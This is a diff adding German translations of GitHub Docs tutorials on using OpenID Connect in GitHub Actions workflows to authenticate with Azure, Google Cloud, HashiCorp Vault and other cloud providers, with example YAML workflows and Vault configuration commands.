+title: Konfigurieren von OpenID Connect in Azure
+shortTitle: Configuring OpenID Connect in Azure
+intro: Verwende OpenID Connect in deinen Workflows zum Authentifizieren bei Azure.
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+type: tutorial
+topics:
+  - Security
+ms.openlocfilehash: 64c7371eec248c7ebeb45a50091b9ef5dbed645e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105211'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+OpenID Connect (OIDC) ermöglicht deinen {% data variables.product.prodname_actions %}-Workflows den Zugriff auf Ressourcen in Azure, ohne dass die Azure-Anmeldeinformationen als langlebige {% data variables.product.prodname_dotcom %}-Geheimnisse gespeichert werden müssen. 
+
+Dieser Leitfaden gibt einen Überblick über die Konfiguration von Azure, um OIDC von {% data variables.product.prodname_dotcom %} als Verbundidentität zu vertrauen, und enthält ein Workflowbeispiel für die [`azure/login`](https://github.com/Azure/login)-Aktion, die Token zur Authentifizierung bei Azure und zum Zugriff auf Ressourcen verwendet.
+
+## Voraussetzungen
+
+{% data reusables.actions.oidc-link-to-intro %}
+
+{% data reusables.actions.oidc-security-notice %}
+
+## Hinzufügen der Verbundanmeldeinformationen zu Azure
+
+Der OIDC-Anbieter von {% data variables.product.prodname_dotcom %} arbeitet mit dem Workloadidentitätsverbund von Azure zusammen. Eine Übersicht findest du in der Dokumentation von Microsoft unter [Workloadidentitätsverbund (Vorschau)](https://docs.microsoft.com/en-us/azure/active-directory/develop/workload-identity-federation).
+
+Um den OIDC-Identitätsanbieter in Azure zu konfigurieren, musst du die folgende Konfiguration ausführen. Anweisungen zum Vornehmen dieser Änderungen findest du in der [Azure-Dokumentation](https://docs.microsoft.com/en-us/azure/developer/github/connect-from-azure).
+
+1. Erstelle eine Azure Active Directory-Anwendung und einen Dienstprinzipal.
+2. Füge Verbundanmeldeinformationen für die Azure Active Directory-Anwendung hinzu.
+3. Erstelle {% data variables.product.prodname_dotcom %}-Geheimnisse zum Speichern der Azure-Konfiguration.
+
+Weitere Anleitungen zum Konfigurieren des Identitätsanbieters:
+
+- Stelle sicher, dass du [Konfigurieren der OIDC-Vertrauensstellung mit der Cloud](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud) gelesen hast, um die Sicherheit zu verstärken. Ein Beispiel findest du unter [Konfigurieren des Antragstellers in deinem Cloudanbieter](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
+- Für die `audience`-Einstellung wird der Wert `api://AzureADTokenExchange` empfohlen, aber du kannst hier auch andere Werte angeben.
+
+## Aktualisieren deines {% data variables.product.prodname_actions %}-Workflows
+
+Um deine Workflows für OIDC zu aktualisieren, musst du zwei Änderungen an deinen YAML-Daten vornehmen:
+1. Füge Berechtigungseinstellungen für das Token hinzu.
+2. Tausche mit der [`azure/login`](https://github.com/Azure/login)-Aktion das OIDC-Token (JWT) gegen ein Cloudzugriffstoken aus.
+
+### Hinzufügen von Berechtigungseinstellungen
+
+ {% data reusables.actions.oidc-permissions-token %}
+
+### Anfordern des Zugriffstokens
+
+Die [`azure/login`](https://github.com/Azure/login)-Aktion empfängt ein JWT vom {% data variables.product.prodname_dotcom %}-OIDC-Anbieter und fordert dann ein Zugriffstoken von Azure an. Weitere Informationen findest du in der [`azure/login`](https://github.com/Azure/login)-Dokumentation.
+
+Im folgenden Beispiel wird ein OIDC-ID-Token mit Azure ausgetauscht, um ein Zugriffstoken zu empfangen, das dann für den Zugriff auf Cloudressourcen verwendet werden kann.
+
+{% raw %}
+```yaml{:copy}
+name: Run Azure Login with OIDC
+on: [push]
+
+permissions:
+      id-token: write
+      contents: read
+jobs: 
+  build-and-deploy:
+    runs-on: ubuntu-latest
+    steps:
+      - name: 'Az CLI login'
+        uses: azure/login@v1
+        with:
+          client-id: ${{ secrets.AZURE_CLIENT_ID }}
+          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
+          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
+  
+      - name: 'Run az commands'
+        run: |
+          az account show
+          az group list
+```
+ {% endraw %}
diff --git a/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md
new file mode 100644
index 0000000000..f51ab1bd79
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md
@@ -0,0 +1,141 @@
+---
+title: Konfigurieren von OpenID Connect in Cloudanbietern
+shortTitle: OpenID Connect in cloud providers
+intro: Verwende OpenID Connect in deinen Workflows zum Authentifizieren bei deinen Cloudanbietern.
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+type: tutorial
+topics:
+  - Security
+ms.openlocfilehash: 90dfa54e71fc602243ddb0d51b190fb8530727e4
+ms.sourcegitcommit: 938ec7898dddd5da5481ad32809d68e4127e1948
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/07/2022
+ms.locfileid: '148135494'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+OpenID Connect (OIDC) ermöglicht deinen {% data variables.product.prodname_actions %}-Workflows den Zugriff auf Ressourcen in deinem Cloudanbieter, ohne Anmeldeinformationen als langlebige {% data variables.product.prodname_dotcom %}-Geheimnisse speichern zu müssen.
+
+Um OIDC zu verwenden, musst du zunächst deinen Cloudanbieter so konfigurieren, dass er OIDC von {% data variables.product.prodname_dotcom %} als Verbundidentität vertraut, und dann deine Workflows so aktualisieren, dass sie mit Token authentifiziert werden.
+
+## Voraussetzungen
+
+{% data reusables.actions.oidc-link-to-intro %}
+
+{% data reusables.actions.oidc-security-notice %}
+
+## Aktualisieren deines {% data variables.product.prodname_actions %}-Workflows
+
+Um deine Workflows für OIDC zu aktualisieren, musst du zwei Änderungen an deinen YAML-Daten vornehmen:
+1. Füge die Berechtigungseinstellungen für das Token hinzu.
+2. Verwende die offizielle Aktion deines Cloudanbieters, um das OIDC-Token (JWT) gegen ein Cloudzugriffstoken auszutauschen.
+
+Wenn dein Cloudanbieter noch keine offizielle Aktion anbietet, kannst du deine Workflows aktualisieren, um diese Schritte manuell auszuführen.
+
+### Hinzufügen von Berechtigungseinstellungen
+
+ {% data reusables.actions.oidc-permissions-token %}
+
+### Verwenden von offiziellen Aktionen
+
+Wenn dein Cloudanbieter eine offizielle Aktion für die Verwendung von OIDC mit {% data variables.product.prodname_actions %} erstellt hat, kannst du das OIDC-Token einfach gegen ein Zugriffstoken austauschen. Anschließend kannst du deine Workflows aktualisieren, um dieses Token beim Zugriff auf Cloudressourcen zu verwenden.
+
+## Verwenden benutzerdefinierter Aktionen
+
+Wenn dein Cloudanbieter keine offizielle Aktion anbietet oder du es vorziehst, benutzerdefinierte Skripts zu erstellen, kannst du das JSON-Webtoken (JWT) manuell vom OIDC-Anbieter von {% data variables.product.prodname_dotcom %} anfordern.
+
+Wenn du keine offizielle Aktion verwendest, empfiehlt {% data variables.product.prodname_dotcom %}, das Actions Core Toolkit zu verwenden. Alternativ kannst du die folgenden Umgebungsvariablen verwenden, um das Token abzurufen: `ACTIONS_RUNTIME_TOKEN`, `ACTIONS_ID_TOKEN_REQUEST_URL`.
+
+Um deine Workflows mithilfe dieses Ansatzes zu aktualisieren, musst du drei Änderungen an deinem YAML vornehmen:
+
+1. Füge die Berechtigungseinstellungen für das Token hinzu.
+2. Füge Code hinzu, der das OIDC-Token vom OIDC-Anbieter von {% data variables.product.prodname_dotcom %} anfordert.
+3. Füge Code hinzu, der das OIDC-Token mit deinem Cloudanbieter gegen ein Zugriffstoken austauscht.
+
+### Anfordern des JWT mithilfe des Actions Core Toolkits
+
+Das folgende Beispiel zeigt, wie `actions/github-script` mit dem `core`-Toolkit verwendet wird, um das JWT vom OIDC-Anbieter von {% data variables.product.prodname_dotcom %} anzufordern. Weitere Informationen findest du unter [Hinzufügen von Actions-Toolkitpaketen](/actions/creating-actions/creating-a-javascript-action#adding-actions-toolkit-packages).
+
+```yaml
+jobs:
+  job:
+    environment: Production
+    runs-on: ubuntu-latest
+    steps:
+    - name: Install OIDC Client from Core Package
+      run: npm install @actions/core@1.6.0 @actions/http-client
+    - name: Get Id Token
+      uses: {% data reusables.actions.action-github-script %}
+      id: idtoken
+      with:
+        script: |
+          const coredemo = require('@actions/core')
+          let id_token = await coredemo.getIDToken()
+          coredemo.setOutput('id_token', id_token)
+```
+
+### Anfordern des JWT mithilfe von Umgebungsvariablen
+
+Im folgenden Beispiel wird gezeigt, wie du Umgebungsvariablen verwendest, um ein JSON-Webtoken anzufordern.
+
+Für deinen Bereitstellungsauftrag musst du die Tokeneinstellungen mithilfe von `actions/github-script` mit dem `core`-Toolkit definieren. Weitere Informationen findest du unter [Hinzufügen von Actions-Toolkitpaketen](/actions/creating-actions/creating-a-javascript-action#adding-actions-toolkit-packages).
+
+Beispiel:
+
+```yaml
+jobs:
+  job:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: {% data reusables.actions.action-github-script %}
+      id: script
+      timeout-minutes: 10
+      with:
+        debug: true
+        script: |
+          const token = process.env['ACTIONS_RUNTIME_TOKEN']
+          const runtimeUrl = process.env['ACTIONS_ID_TOKEN_REQUEST_URL']
+          core.setOutput('TOKEN', token.trim())
+          core.setOutput('IDTOKENURL', runtimeUrl.trim())
+```
+
+Du kannst dann `curl` verwenden, um ein JWT vom {% data variables.product.prodname_dotcom %}-OIDC-Anbieter abzurufen. Beispiel:
+
+```yaml
+    - run: |
+        IDTOKEN=$(curl -H "Authorization: bearer {% raw %} ${{steps.script.outputs.TOKEN}}" ${{steps.script.outputs.IDTOKENURL}} {% endraw %} -H "Accept: application/json; api-version=2.0" -H "Content-Type: application/json" -d "{}" | jq -r '.value')
+        echo $IDTOKEN
+        jwtd() {
+            if [[ -x $(command -v jq) ]]; then
+                jq -R 'split(".") | .[0],.[1] | @base64d | fromjson' <<< "${1}"
+                echo "Signature: $(echo "${1}" | awk -F'.' '{print $3}')"
+            fi
+        }
+        jwtd $IDTOKEN
+{%- ifversion actions-save-state-set-output-envs %}
+        echo "idToken=${IDTOKEN}" >> $GITHUB_OUTPUT
+{%- else %}
+        echo "::set-output name=idToken::${IDTOKEN}"
+{%- endif %}
+      id: tokenid
+```
+
+### Abrufen des Zugriffstokens vom Cloudanbieter
+
+Du musst deinem Cloudanbieter das OIDC-JSON-Webtoken vorlegen, um ein Zugriffstoken abzurufen.
+
+Für jede Bereitstellung müssen deine Workflows Cloudanmeldeaktionen (oder benutzerdefinierte Skripts) verwenden, die das OIDC-Token abrufen und dem Cloudanbieter vorlegen. Der Cloudanbieter überprüft dann die Ansprüche im Token. Wenn dies erfolgreich ist, stellt er ein Cloudzugriffstoken bereit, das nur für diese Auftragsausführung verfügbar ist. Das bereitgestellte Zugriffstoken kann dann bei nachfolgenden Aktionen im Auftrag verwendet werden, um eine Verbindung mit der Cloud herzustellen und deren Ressourcen für die Bereitstellung zu nutzen.
+
+Die Schritte zum Austauschen des OIDC-Tokens gegen ein Zugriffstoken variieren je nach Cloudanbieter.
+
+### Zugreifen auf Ressourcen in deinem Cloudanbieter
+
+Nachdem du das Zugriffstoken abgerufen hast, kannst du bestimmte Cloudaktionen oder Skripts verwenden, um dich beim Cloudanbieter zu authentifizieren und seine Ressourcen für die Bereitstellung zu nutzen. Diese Schritte können für jeden Cloudanbieter unterschiedlich sein.
+Darüber hinaus kann die Standardablaufzeit dieses Zugriffstokens für jede Cloud unterschiedlich und auf der Seite des Cloudanbieters konfigurierbar sein.
diff --git a/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
new file mode 100644
index 0000000000..71a4112d4c
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
@@ -0,0 +1,98 @@
+---
+title: Konfigurieren von OpenID Connect in Google Cloud Platform
+shortTitle: Configuring OpenID Connect in Google Cloud Platform
+intro: Verwende OpenID Connect in deinen Workflows zum Authentifizieren bei Google Cloud Platform.
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+type: tutorial
+topics:
+  - Security
+ms.openlocfilehash: f8b2c63d442fb5dc5758a6f33bb9db5c2a49c9cc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145091374'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+OpenID Connect (OIDC) ermöglicht deinen {% data variables.product.prodname_actions %}-Workflows den Zugriff auf Ressourcen in Google Cloud Platform (GCP), ohne dass die GCP-Anmeldeinformationen als langlebige {% data variables.product.prodname_dotcom %}-Geheimnisse gespeichert werden müssen. 
+
+Dieser Leitfaden gibt einen Überblick über die Konfiguration von GCP, um von {% data variables.product.prodname_dotcom %} als Verbundidentität zu vertrauen, und enthält ein Workflowbeispiel für die [`google-github-actions/auth`](https://github.com/google-github-actions/auth)-Aktion, die Token zur Authentifizierung bei GCP und zum Zugriff auf Ressourcen verwendet.
+
+## Voraussetzungen
+
+{% data reusables.actions.oidc-link-to-intro %}
+
+{% data reusables.actions.oidc-security-notice %}
+
+## Hinzufügen eines Google Cloud-Workloadidentitätsanbieters
+
+Um den OIDC-Identitätsanbieter in GCP zu konfigurieren, musst du die folgende Konfiguration ausführen. Anweisungen zum Vornehmen dieser Änderungen findest du in der [GCP-Dokumentation](https://github.com/google-github-actions/auth).
+
+1. Erstelle einen neuen Identitätspool.
+2. Konfiguriere die Zuordnung, und füge Bedingungen hinzu.
+3. Verbinde den neuen Pool mit einem Dienstkonto. 
+
+Weitere Anleitungen zum Konfigurieren des Identitätsanbieters:
+
+- Stelle sicher, dass du [Konfigurieren der OIDC-Vertrauensstellung mit der Cloud](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud) gelesen hast, um die Sicherheit zu verstärken. Ein Beispiel findest du unter [Konfigurieren des Antragstellers in deinem Cloudanbieter](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
+- Damit das Dienstkonto für die Konfiguration verfügbar ist, muss es der Rolle `roles/iam.workloadIdentityUser` zugewiesen werden. Weitere Informationen findest du in der [GCP-Dokumentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions).
+- Die zu verwendende Aussteller-URL: {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %}
+
+## Aktualisieren deines {% data variables.product.prodname_actions %}-Workflows
+
+Um deine Workflows für OIDC zu aktualisieren, musst du zwei Änderungen an deinen YAML-Daten vornehmen:
+1. Füge Berechtigungseinstellungen für das Token hinzu.
+2. Tausche mit der [`google-github-actions/auth`](https://github.com/google-github-actions/auth)-Aktion das OIDC-Token (JWT) gegen ein Cloudzugriffstoken aus.
+
+### Hinzufügen von Berechtigungseinstellungen
+
+ {% data reusables.actions.oidc-permissions-token %}
+
+### Anfordern des Zugriffstokens
+
+Die `google-github-actions/auth` Aktion empfängt ein JWT vom {% data variables.product.prodname_dotcom %}-OIDC-Anbieter und fordert dann ein Zugriffstoken von GCP an. Weitere Informationen findest du in der [GCP-Dokumentation](https://github.com/google-github-actions/auth).
+
+In diesem Beispiel ist ein Auftrag namens `Get_OIDC_ID_token` vorhanden, der Aktionen verwendet, um eine Liste der Dienste von GCP anzufordern.
+
+- `<example-workload-identity-provider>`: Ersetze diese Angabe durch den Pfad zu deinem Identitätsanbieter in GCP. Zum Beispiel, `projects/<example-project-id>/locations/global/workloadIdentityPools/<name-of-pool/providers/<name-of-provider>`
+- `<example-service-account>`: Ersetze diese Angabe durch den Namen deines Dienstkontos in GCP.
+- `<project-id>`: Ersetze diese Angabe durch die ID deines GCP-Projekts.
+
+Diese Aktion tauscht ein {% data variables.product.prodname_dotcom %}-OIDC-Token gegen ein Google Cloud-Zugangstoken unter Verwendung von [Workloadidentitätsverbund](https://cloud.google.com/iam/docs/workload-identity-federation).
+
+{% raw %}
+```yaml{:copy}
+name: List services in GCP
+on:
+  pull_request:
+    branches:
+      - main
+
+permissions:
+  id-token: write
+
+jobs:
+  Get_OIDC_ID_token:
+    runs-on: ubuntu-latest
+    steps:
+    - id: 'auth'
+      name: 'Authenticate to GCP'
+      uses: 'google-github-actions/auth@v0.3.1'
+      with:
+          create_credentials_file: 'true'
+          workload_identity_provider: '<example-workload-identity-provider>'
+          service_account: '<example-service-account>'
+    - id: 'gcloud'
+      name: 'gcloud'
+      run: |-
+        gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
+        gcloud services list
+```
+{% endraw %}
diff --git a/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md
new file mode 100644
index 0000000000..90bb715919
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md
@@ -0,0 +1,190 @@
+---
+title: Konfigurieren von OpenID Connect in HashiCorp Vault
+shortTitle: OpenID Connect in HashiCorp Vault
+intro: Verwende OpenID Connect in deinen Workflows zum Authentifizieren bei HashiCorp Vault.
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+type: tutorial
+topics:
+  - Security
+ms.openlocfilehash: 174243818443709ee6ffe3b22aa668cff254266f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106629'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+Mit OpenID Connect (OIDC) kannst du deine {% data variables.product.prodname_actions %}-Workflows gegenüber HashiCorp Vault authentifizieren, um Geheimnisse abzurufen.
+
+In diesem Leitfaden erfährst du, wie du HashiCorp Vault so konfigurierst, dass OIDC auf {% data variables.product.prodname_dotcom %} als vertrauenswürdige Verbundidentität eingestuft wird. Außerdem wird gezeigt, wie diese Konfiguration in der Aktion [hashicorp/vault-action](https://github.com/hashicorp/vault-action) verwendet wird, um Geheimnisse aus HashiCorp Vault abzurufen.
+
+## Voraussetzungen
+
+{% data reusables.actions.oidc-link-to-intro %}
+
+{% data reusables.actions.oidc-security-notice %}
+
+## Hinzufügen des Identitätsanbieters zu HashiCorp Vault
+
+Für die Verwendung von OIDC mit HashiCorp Vault musst du eine Vertrauenskonfiguration für den OIDC-Anbieter auf {% data variables.product.prodname_dotcom %} hinzufügen. Weitere Informationen findest du in der [Dokumentation zu HashiCorp Vault](https://www.vaultproject.io/docs/auth/jwt).
+
+So konfigurierst du deinen Vault-Server so, dass er JWTs (JSON Web Token) für die Authentifizierung akzeptiert:
+
+1. Aktiviere die JWT-`auth`-Methode, und verwende `write`, um die Konfiguration auf deinen Tresor anzuwenden. 
+  Verwende für die Parameter `oidc_discovery_url` und `bound_issuer` den Wert {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %}. Diese Parameter ermöglichen es dem Vault-Server, die empfangenen JWTs während des Authentifizierungsprozesses zu überprüfen.
+
+    ```sh{:copy}
+    vault auth enable jwt
+    ```
+    
+    ```sh{:copy}
+    vault write auth/jwt/config \
+      bound_issuer="{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}" \
+      oidc_discovery_url="{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}"
+    ```
+2. Konfiguriere eine Richtlinie, die nur Zugriff auf die spezifischen Pfade gewährt, die deine Workflows zum Abrufen von Geheimnissen verwenden. Weiterführende Richtlinien findest du in der [Richtliniendokumentation](https://www.vaultproject.io/docs/concepts/policies) zu HashiCorp Vault.
+
+    ```sh{:copy}
+    vault policy write myproject-production - <<EOF
+    # Read-only permission on 'secret/data/production/*' path
+
+    path "secret/data/production/*" {
+      capabilities = [ "read" ]
+    }
+    EOF
+    ```
+3. Konfiguriere Rollen, um verschiedene Richtlinien in Gruppen zusammenzufassen. Wenn die Authentifizierung erfolgreich ist, werden diese Richtlinien an das resultierende Vault-Zugriffstoken angefügt.
+
+    ```sh{:copy}
+    vault write auth/jwt/role/myproject-production -<<EOF
+    {
+      "role_type": "jwt",
+      "user_claim": "actor",
+      "bound_claims": {
+        "repository": "user-or-org-name/repo-name"
+      },
+      "policies": ["myproject-production"],
+      "ttl": "10m"
+    }
+    EOF
+    ```
+
+- `ttl` definiert die Gültigkeit des resultierenden Zugriffstokens.
+- Stelle sicher, dass der Parameter `bound_claims` für deine Sicherheitsanforderungen definiert ist und mindestens eine Bedingung enthält. Optional kannst du außerdem den Parameter `bound_subject` sowie den Parameter `bound_audiences` festlegen.
+- Um beliebige Ansprüche in den empfangenen JWT-Nutzdaten zu überprüfen, enthält der Parameter `bound_claims` eine Reihe von Ansprüchen und ihre erforderlichen Werte. Im obigen Beispiel akzeptiert die Rolle alle eingehenden Authentifizierungsanforderungen aus dem Repository `repo-name`, das dem Konto `user-or-org-name` angehört.
+- Eine Liste aller verfügbaren Ansprüche, die vom OIDC-Anbieter {% data variables.product.prodname_dotcom %} unterstützt werden, findest du unter [Konfigurieren der OIDC-Vertrauensstellung mit der Cloud](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud).
+
+Weitere Informationen findest du in der [Dokumentation zu HashiCorp Vault](https://www.vaultproject.io/docs/auth/jwt).
+
+## Aktualisieren deines {% data variables.product.prodname_actions %}-Workflows
+
+Um deine Workflows für OIDC zu aktualisieren, musst du zwei Änderungen an deinen YAML-Daten vornehmen:
+1. Füge Berechtigungseinstellungen für das Token hinzu.
+2. Tausche das OIDC-Token (JWT) mithilfe der Aktion [`hashicorp/vault-action`](https://github.com/hashicorp/vault-action) gegen ein Cloudzugriffstoken aus.
+
+
+Um die OIDC-Integration zu deinen Workflows hinzuzufügen, damit diese auf Geheimnisse in Vault zugreifen können, sind die folgenden Codeänderungen erforderlich:
+
+- Erteile die Berechtigung zum Abrufen von Token vom OIDC-Anbieter auf {% data variables.product.prodname_dotcom %}:
+  - Der Workflow benötigt `permissions:`-Einstellungen, bei denen der Wert `id-token` auf `write` festgelegt ist. Dadurch können OIDC-Token aus jedem Auftrag im Workflow abgerufen werden.
+- Fordere das JWT vom {% data variables.product.prodname_dotcom %}-OIDC-Anbieter an, und übergebe dieses Token an HashiCorp Vault, um ein Zugriffstoken zu empfangen:
+  - Du kannst die [`hashicorp/vault-action`](https://github.com/hashicorp/vault-action)-Aktion verwenden, um das JWT abzurufen und das Zugriffstoken aus Vault zu erhalten, oder du kannst die Token für deinen Auftrag mit dem [Toolkit für Aktionen](https://github.com/actions/toolkit/) abrufen.
+
+In diesem Beispiel wird veranschaulicht, wie OIDC mit der offiziellen Aktion verwendet wird, um ein Geheimnis aus HashiCorp Vault anzufordern.
+
+### Hinzufügen von Berechtigungseinstellungen
+
+ {% data reusables.actions.oidc-permissions-token %}
+
+{% note %}
+
+**Hinweis**:
+
+Bei Verwendung des Schlüssels `permissions` werden alle nicht angegebenen Berechtigungen auf _Kein Zugriff_ festgelegt, mit Ausnahme des Metadatenbereichs, der immer _Lesezugriff_ erhält. Infolgedessen musst du möglicherweise andere Berechtigungen hinzufügen, zum Beispiel `contents: read`. Weitere Informationen findest du unter [Automatische Tokenauthentifizierung](/actions/security-guides/automatic-token-authentication).
+
+{% endnote %}
+
+### Anfordern des Zugriffstokens
+
+Die Aktion `hashicorp/vault-action` empfängt ein JWT vom {% data variables.product.prodname_dotcom %}-OIDC-Anbieter und fordert anschließend ein Zugriffstoken von deiner HashiCorp Vault-Instanz an, um Geheimnisse abzurufen. Weitere Informationen findest du in der [Dokumentation zu HashiCorp Vault GitHub Action](https://github.com/hashicorp/vault-action).
+
+In diesem Beispiel wird veranschaulicht, wie ein Auftrag erstellt wird, der ein Geheimnis aus HashiCorp Vault anfordert.
+
+- `<Vault URL>`: Ersetze diesen Wert durch die URL deiner HashiCorp Vault-Instanz.
+- `<Vault Namespace>`: Ersetze diesen Wert durch den Namespace, den du in HashiCorp Vault festgelegt hast. Beispiel: `admin`.
+- `<Role name>`: Ersetze diesen Wert durch die Rolle, die du in der HashiCorp Vault-Vertrauensstellung festgelegt hast.
+- `<Secret-Path>`: Ersetze diesen Wert durch den Pfad zum Geheimnis, das du aus HashiCorp Vault abrufst. Beispiel: `secret/data/production/ci npmToken`.
+
+```yaml{:copy}
+jobs:
+  retrieve-secret:
+    runs-on: ubuntu-latest
+    permissions:
+      id-token: write
+      contents: read
+    steps:
+      - name: Retrieve secret from Vault
+        uses: hashicorp/vault-action@v2.4.0
+          with:
+            method: jwt
+            url: <Vault URL>
+            namespace: <Vault Namespace - HCP Vault and Vault Enterprise only>
+            role: <Role name>
+            secrets: <Secret-Path>
+                
+      - name: Use secret from Vault
+        run: |
+          # This step has access to the secret retrieved above; see hashicorp/vault-action for more details.
+```
+
+{% note %}
+
+**Hinweis**:
+
+- Wenn dein Vault-Server nicht über das öffentliche Netzwerk erreichbar ist, solltest du einen selbstgehosteten Runner mit anderen verfügbaren Vault-[Authentifizierungsmethoden](https://www.vaultproject.io/docs/auth) verwenden. Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners)“.
+- Für eine Vault Enterprise-Bereitstellung (einschließlich HCP Vault) muss `<Vault Namespace>` festgelegt werden. Weitere Informationen findest du unter [Vault-Namespace](https://www.vaultproject.io/docs/enterprise/namespaces).
+
+{% endnote %}
+
+### Widerrufen des Zugriffstokens
+
+Standardmäßig widerruft der Vault-Server Zugriffstoken nach dem jeweiligen TTL-Ablauf automatisch, sodass du die Zugriffstoken nicht manuell widerrufen musst. Wenn du die Zugriffstoken jedoch sofort nach Abschluss oder Scheitern deines Auftrags widerrufen möchtest, kannst du die ausgegebenen Token mithilfe der [Vault-API](https://www.vaultproject.io/api/auth/token#revoke-a-token-self) manuell widerrufen.
+
+1. Setze die Option `exportToken` auf `true` (Standardwert: `false`) fest. Dadurch wird das ausgegebene Vault-Zugriffstoken als Umgebungsvariable exportiert: `VAULT_TOKEN`.
+2. Füge einen Schritt hinzu, um die Vault-API zum Wiederrufen des Zugriffstokens aufzurufen: [Revoke a Token (Self)](https://www.vaultproject.io/api/auth/token#revoke-a-token-self).
+
+```yaml{:copy}
+jobs:
+  retrieve-secret:
+    runs-on: ubuntu-latest
+    permissions:
+      id-token: write
+      contents: read
+    steps:
+      - name: Retrieve secret from Vault
+        uses: hashicorp/vault-action@v2.4.0
+          with:
+            exportToken: true
+            method: jwt
+            url: <Vault URL>
+            role: <Role name>
+            secrets: <Secret-Path>
+
+      - name: Use secret from Vault
+        run: |
+          # This step has access to the secret retrieved above; see hashicorp/vault-action for more details.
+
+      - name: Revoke token
+        # This step always runs at the end regardless of the previous steps result
+        if: always()
+        run: |
+          curl -X POST -sv -H "X-Vault-Token: {% raw %}${{ env.VAULT_TOKEN }}{% endraw %}" \
+            <Vault URL>/v1/auth/token/revoke-self
+```
diff --git a/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/index.md b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/index.md
new file mode 100644
index 0000000000..78fe645503
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/index.md
@@ -0,0 +1,24 @@
+---
+title: Sicherheitshärtung deiner Bereitstellungen
+shortTitle: Security hardening your deployments
+intro: Verwende OpenID Connect in deinen Workflows zum Authentifizieren bei deinem Cloudanbieter.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+children:
+  - /about-security-hardening-with-openid-connect
+  - /configuring-openid-connect-in-amazon-web-services
+  - /configuring-openid-connect-in-azure
+  - /configuring-openid-connect-in-google-cloud-platform
+  - /configuring-openid-connect-in-hashicorp-vault
+  - /configuring-openid-connect-in-cloud-providers
+  - /using-openid-connect-with-reusable-workflows
+ms.openlocfilehash: 0480c3d495bf04efca4a3fe5a10114719f17fabf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068721'
+---
+
diff --git a/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
new file mode 100644
index 0000000000..1640d1df1f
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
